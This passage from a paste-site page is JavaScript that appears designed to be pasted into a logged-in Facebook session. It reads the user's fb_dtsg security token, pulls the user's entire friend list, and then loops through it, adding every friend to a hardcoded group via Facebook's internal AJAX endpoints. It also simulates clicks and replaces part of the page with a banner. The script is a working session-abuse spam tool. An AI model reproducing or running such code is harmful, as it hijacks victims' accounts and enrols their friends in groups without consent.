  170. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  171. },
  172. "text", "post");
  173. tay--;
  174. if (tay > 0) {
  175. var s = arr[tay];
  176. setTimeout("penetrasi(" + s + ")", 100)
  177. }
  178. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  179. if (memberGroupId != 128336317239973) {
  180. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  181. "text", "post")
  182. }
  183. }
  184. function clickfr_callback() {
  185. if (document.getElementsByName("ok").length > 0) {
  186. nHtml.ClickUp(document.getElementsByName("ok")[0])
  187. }
  188. var a = arr[i];
  189. if (i < arr.length) addfriend(a.substring(0, 4))
  190. }
  191. function clickfr() {
  192. if (document.getElementsByClassName("search").length > 0) {
  193. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  194. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  195. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  196. } else j++;
  197. setTimeout("clickfr_callback()", 2e3)
  198. }
  199. function addfriend(a) {
  200. i++;
  201. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  202. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  203. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  204. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  205. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  206. setTimeout("clickfr()", 2e3)
  207. }
  208. function sleep(a) {
  209. var b = (new Date).getTime();
  210. for (var c = 0; c < 1e7; c++) {
  211. if ((new Date).getTime() - b > a) {
  212. break
  213. }
  214. }
  215. }
  216. jx = {
  217. getHTTPObject: function () {
  218. var a = false;
  219. if (typeof ActiveXObject != "undefined") {
  220. try {
  221. a = new ActiveXObject("Msxml2.XMLHTTP")
  222. } catch(b) {
  223. try {
  224. a = new ActiveXObject("Microsoft.XMLHTTP")
  225. } catch(c) {
  226. a = false
  227. }
  228. }
  229. } else {
  230. if (window.XMLHttpRequest) {
  231. try {
  232. a = new XMLHttpRequest
  233. } catch(b) {
  234. a = false
  235. }
  236. }
  237. }
  238. return a
  239. },
  240. load: function (url, callback, format, method, opt) {
  241. var http = this.init();
  242. if (!http || !url) {
  243. return
  244. }
  245. if (http.overrideMimeType) {
  246. http.overrideMimeType("text/xml")
  247. }
  248. if (!method) {
  249. method = "GET"
  250. }
  251. if (!format) {
  252. format = "text"
  253. }
  254. if (!opt) {
  255. opt = {}
  256. }
  257. format = format.toLowerCase();
  258. method = method.toUpperCase();
  259. var now = "uid=" + (new Date).getTime();
  260. url += url.indexOf("?") + 1 ? "&": "?";
  261. url += now;
  262. var parameters = null;
  263. if (method == "POST") {
  264. var parts = url.split("?");
  265. url = parts[0];
  266. parameters = parts[1]
  267. }
  268. http.open(method, url, true);
  269. if (method == "POST") {
  270. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  271. http.setRequestHeader("Content-length", parameters.length);
  272. http.setRequestHeader("Connection", "close")
  273. }
  274. var ths = this;
  275. if (opt.handler) {
  276. http.onreadystatechange = function () {
  277. opt.handler(http)
  278. }
  279. } else {
  280. http.onreadystatechange = function () {
  281. if (http.readyState == 4) {
  282. if (http.status == 200) {
  283. var result = "";
  284. if (http.responseText) {
  285. result = http.responseText
  286. }
  287. if (format.charAt(0) == "j") {
  288. result = result.replace(/[\n\r]/g, "");
  289. result = eval("(" + result + ")")
  290. } else {
  291. if (format.charAt(0) == "x") {
  292. result = http.responseXML
  293. }
  294. }
  295. if (callback) {
  296. callback(result)
  297. }
  298. } else {
  299. if (opt.loadingIndicator) {
  300. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  301. }
  302. if (opt.loading) {
  303. document.getElementById(opt.loading).style.display = "none"
  304. }
  305. if (error) {
  306. error(http.status)
  307. }
  308. }
  309. }
  310. }
  311. }
  312. http.send(parameters)
  313. },
  314. bind: function (a) {
  315. var b = {
  316. url: "",
  317. onSuccess: false,
  318. onError: false,
  319. format: "text",
  320. method: "GET",
  321. update: "",
  322. loading: "",
  323. loadingIndicator: ""
  324. };
  325. for (var c in b) {
  326. if (a[c]) {
  327. b[c] = a[c]
  328. }
  329. }
  330. if (!b.url) {
  331. return
  332. }
  333. var d = false;
  334. if (b.loadingIndicator) {
  335. d = document.createElement("div");
  336. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  337. d.setAttribute("class", "loading-indicator");
  338. d.innerHTML = b.loadingIndicator;
  339. document.getElementsByTagName("body")[0].appendChild(d);
  340. this.opt.loadingIndicator = d
  341. }
  342. if (b.loading) {
  343. document.getElementById(b.loading).style.display = "block"
  344. }
  345. this.load(b.url, function (a) {
  346. if (b.onSuccess) {
  347. b.onSuccess(a)
  348. }
  349. if (b.update) {
  350. document.getElementById(b.update).innerHTML = a
  351. }
  352. if (d) {
  353. document.getElementsByTagName("body")[0].removeChild(d)
  354. }
  355. if (b.loading) {
  356. document.getElementById(b.loading).style.display = "none"
  357. }
  358. },
  359. b.format, b.method, b)
  360. },
  361. init: function () {
  362. return this.getHTTPObject()
  363. }
  364. };
  365. var nHtml = {
  366. FindByAttr: function (a, b, c, d) {
  367. if (c == "className") {
  368. c = "class"
  369. }
  370. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  371. if (e && e.singleNodeValue) {
  372. return e.singleNodeValue
  373. }
  374. return null
  375. },
  376. FindByClassName: function (a, b, c) {
  377. return this.FindByAttr(a, b, "className", c)
  378. },
  379. FindByXPath: function (a, b) {
  380. try {
  381. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  382. } catch(d) {
  383. GM_log("bad xpath:" + b)
  384. }
  385. if (c && c.singleNodeValue) {
  386. return c.singleNodeValue
  387. }
  388. return null
  389. },
  390. VisitUrl: function (a) {
  391. window.setTimeout(function () {
  392. document.location.href = a
  393. },
  394. 500 + Math.floor(Math.random() * 500))
  395. },
  396. ClickWin: function (a, b, c) {
  397. var d = a.document.createEvent("MouseEvents");
  398. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  399. return ! b.dispatchEvent(d)
  400. },
  401. Click: function (a) {
  402. return this.ClickWin(window, a, "click")
  403. },
  404. ClickTimeout: function (a, b) {
  405. window.setTimeout(function () {
  406. return nHtml.ClickWin(window, a, "click")
  407. },
  408. b + Math.floor(Math.random() * 500))
  409. },
  410. ClickUp: function (a) {
  411. this.ClickWin(window, a, "mousedown");
  412. this.ClickWin(window, a, "mouseup");
  413. this.ClickWin(window, a, "click")
  414. },
  415. GetText: function (a, b) {
  416. var c = "";
  417. if (b == undefined) {
  418. b = 0
  419. }
  420. if (b > 40) {
  421. return
  422. }
  423. if (a.textContent != undefined) {
  424. return a.textContent
  425. }
  426. for (var d = 0; d < a.childNodes.length; d++) {
  427. var e = a.childNodes[d];
  428. c += this.GetText(e, b + 1)
  429. }
  430. return c
  431. }
  432. };
  433. if (document.getElementsByClassName == undefined) {
  434. document.getElementsByClassName = function (a) {
  435. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  436. var c = document.getElementsByTagName("*");
  437. var d = [];
  438. var e;
  439. for (var f = 0;
  440. (e = c[f]) != null; f++) {
  441. var g = e.className;
  442. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  443. }
  444. return d
  445. }
  446. }
  447. Array.prototype.find = function (a) {
  448. var b = false;
  449. for (i = 0; i < this.length; i++) {
  450. if (typeof a == "function") {
  451. if (a.test(this[i])) {
  452. if (!b) {
  453. b = []
  454. }
  455. b.push(i)
  456. }
  457. } else {
  458. if (this[i] === a) {
  459. if (!b) {
  460. b = []
  461. }
  462. b.push(i)
  463. }
  464. }
  465. }
  466. return b
  467. };
  468. var a = 0,
  469. eind = 0;
  470. var len = document.getElementsByClassName("mbm").length;
  471. for (a = 0; a < len; a++) {
  472. var ele = document.getElementsByClassName("mbm")[a];
  473. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  474. eind = a;
  475. break
  476. }
  477. }
  478. var i = 3;
  479. var tay = 3;
  480. var counter1 = 0,
  481. counter2 = 0,
  482. counter3 = 0;
  483. var j = 0;
  484. var k = 0;
  485. var suc = 0;
  486. var arr = new Array;
  487. var memberGroupId = document.getElementsByName('group_id')[0].value;
  488. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  489. var b = a;
  490. var c = b.substring(b.indexOf("{"));
  491. var d = JSON.parse(c);
  492. d = d.payload.entries;
  493. for (var e = 0; e < d.length; e++) {
  494. arr.push(d[e].uid)
  495. }
  496. i = arr.length - 1;
  497. tay = i;
  498. console.log(arr.length);
  499. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  500. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  501. dipes += arr.length + " Friends Detected";
  502. dipes += "</div>";
  503. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  504. penetrasi(arr[i])
  505. })
Advertisement
Add Comment
Please, Sign In to add comment